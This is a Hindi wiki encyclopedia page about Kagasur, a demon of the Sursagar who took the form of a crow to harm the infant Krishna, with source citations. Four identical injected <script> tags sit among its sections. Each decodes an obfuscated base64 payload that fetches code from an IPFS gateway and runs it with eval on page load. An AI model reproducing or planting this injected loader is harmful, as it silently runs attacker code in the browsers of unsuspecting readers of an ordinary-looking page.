कागासुर

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 10:39, 5 मई 2015 का अवतरण (''''कागासुर''' सूरसागर के अनुसार कंस का सहायक एक असुर ...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

कागासुर सूरसागर के अनुसार कंस का सहायक एक असुर था जिसने कृष्ण को मारने के लिए कौए का रूप धारण कर लिया था। कंस की आज्ञा से ब्रज में आकर बालकृष्ण की आँखें निकालने के उद्देश्य से यह उनके पालने के पास पहुँचा। बालकृष्ण ने अपने कोमल हाथों से उसे जैसे ही पकड़ा, उसकी दशा शोचनीय हो गयी और वह घबराकर कंस के पास जा गिरा तथा उसने कंस को बतलाया कि ब्रज में किसी महाबली ने अवतार लिया है। कंस इस दु:संवाद को सुनकर भयभीत और चिंतित हो गया।[1][2]



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. सूरसागर पद 677-678
  2. पुस्तक- हिन्दी साहित्य कोश भाग-2 | सम्पादक- धीरेंद्र वर्मा (प्रधान) | प्रकाशन- ज्ञानमण्डल लिमिटेड, वाराणसी | पृष्ठ संख्या- 80

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>